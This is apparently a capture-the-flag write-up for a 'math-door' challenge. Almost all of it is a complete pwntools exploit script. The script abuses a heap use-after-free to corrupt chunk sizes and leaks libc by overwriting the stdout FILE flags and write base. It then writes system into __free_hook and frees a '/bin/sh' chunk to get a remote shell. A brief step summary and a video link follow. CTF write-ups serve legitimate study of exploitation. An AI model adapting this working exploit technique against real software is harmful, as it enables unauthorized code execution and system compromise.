```pythonimport pwnimport timefrom IPython import embedimport warnings
warnings.filterwarnings(action='ignore', category=BytesWarning)
elf = pwn.ELF("./math-door")libc = elf.libc# p = elf.process()p= pwn.remote("68.183.45.143", "31441")
pwn.context.binary = elfpwn.context.log_level = "DEBUG"pwn.context(terminal=['tmux', 'split-window', '-h'])
def create():    p.sendlineafter("Action:", "1")    p.recvuntil("created with index ")    return int(p.recvuntil(".").strip(b"."))
def delete(i):    p.sendlineafter("Action:", "2")    p.sendlineafter("index:", str(i))
def add(i, v0, v1=0, v2=0):    p.sendlineafter("Action:", "3")    p.sendlineafter("index:", str(i))    p.sendlineafter("glyph:", pwn.p64(v0) + pwn.p64(v1) + pwn.p64(v2))
def add_raw(i, v0):    p.sendlineafter("Action:", "3")    p.sendlineafter("index:", str(i))    p.sendlineafter("glyph:", v0)
# Step 1: Use the UAF to create a mis-aligned chunkcreate()create()create()delete(0)delete(1)
# Edit the tcache_bin chunk to point to the size field of chunk_2add(1, 0x30, 0, 0)create()libc_pointer_chunk_4 = create()
# Edit Size (512)add(libc_pointer_chunk_4, 0, 0x501, 0)
# The unsorted chunk needs to point somewhere valid, so add some chunksfor i in range(0x500 // 0x20):    print(i)    create()create()
# Free the large chunk into unsorted bin, libc leakdelete(2)
# Step 2: Overwrite the stdout flagsdelete(6)delete(7)delete(8)add(8, pwn.unsigned(-0x60), 0, 0)
# p/x &_IO_2_1_stdout_.file._flagsadd(libc_pointer_chunk_4, 0, 0, 2752)  # Move from libc arena to stdout.file.flags
create()create()file_flags_chunk_id = create()print(f"{file_flags_chunk_id=}")
# _flags = 0xfbad0000  // Magic number# _flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000# _flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800# _flags | = _IO_IS_APPENDING // _flags = 0xfbad1800# https://teamrocketist.github.io/2020/03/01/Pwn-Aero-2020-Plane-Market/add(file_flags_chunk_id, pwn.unsigned(0xFBAD1800 - 0xFBAD2887), 0, 0)
# Step 3: Move the stdout write_base back by a few 100 bytesdelete(10)delete(11)delete(12)add(12, pwn.unsigned(-0xE0), 0, 0)
# p &_IO_2_1_stdout_.file._IO_write_base# p &_IO_2_1_stdout_.file._flagsadd(libc_pointer_chunk_4, 0, 0, 0x10)  # ._flags -> _IO_write_base - 0x10create()create()io_write_base_chunk_id = create()add(io_write_base_chunk_id, 0, 0, pwn.unsigned(-0x20))
# Get Leakp.recv(5)libc_leak = pwn.u64(p.recv(8))print(f"{hex(libc_leak)=}")libc.address = libc_leak - (0x7F7A5F095980 - 0x7F7A5EEA9000)
# pwn.gdb.attach(p)
# __free_hookdelete(20)delete(21)delete(22)add(22, pwn.unsigned(-0x220), 0, 0)
add(libc_pointer_chunk_4, 0, 0, 0x1798)  # &_IO_2_1_stdout_.file._IO_write_base to __free_hook
create()create()free_hook_chunk_id = create()print(f"{free_hook_chunk_id=}")
# Step 4: __free_hook with system, call free with "/bin/sh"add(free_hook_chunk_id, libc.sym.system, 0, 0)add_raw(30, b"/bin/sh\x00")delete(30)
p.interactive()```
tl;drl;1.) Abuse the UAF to overwrite the size of another chunk2.) Free a large chunk to get a unsorted bin leak3.) Use the new libc pointers to overwrite stdout.flags + stdout.write_buffer to leak libc4.) Write system to free hook for profit
For full details, see video writeup[https://www.youtube.com/watch?v=Pp0QR6MFZeQ](https://www.youtube.com/watch?v=Pp0QR6MFZeQ)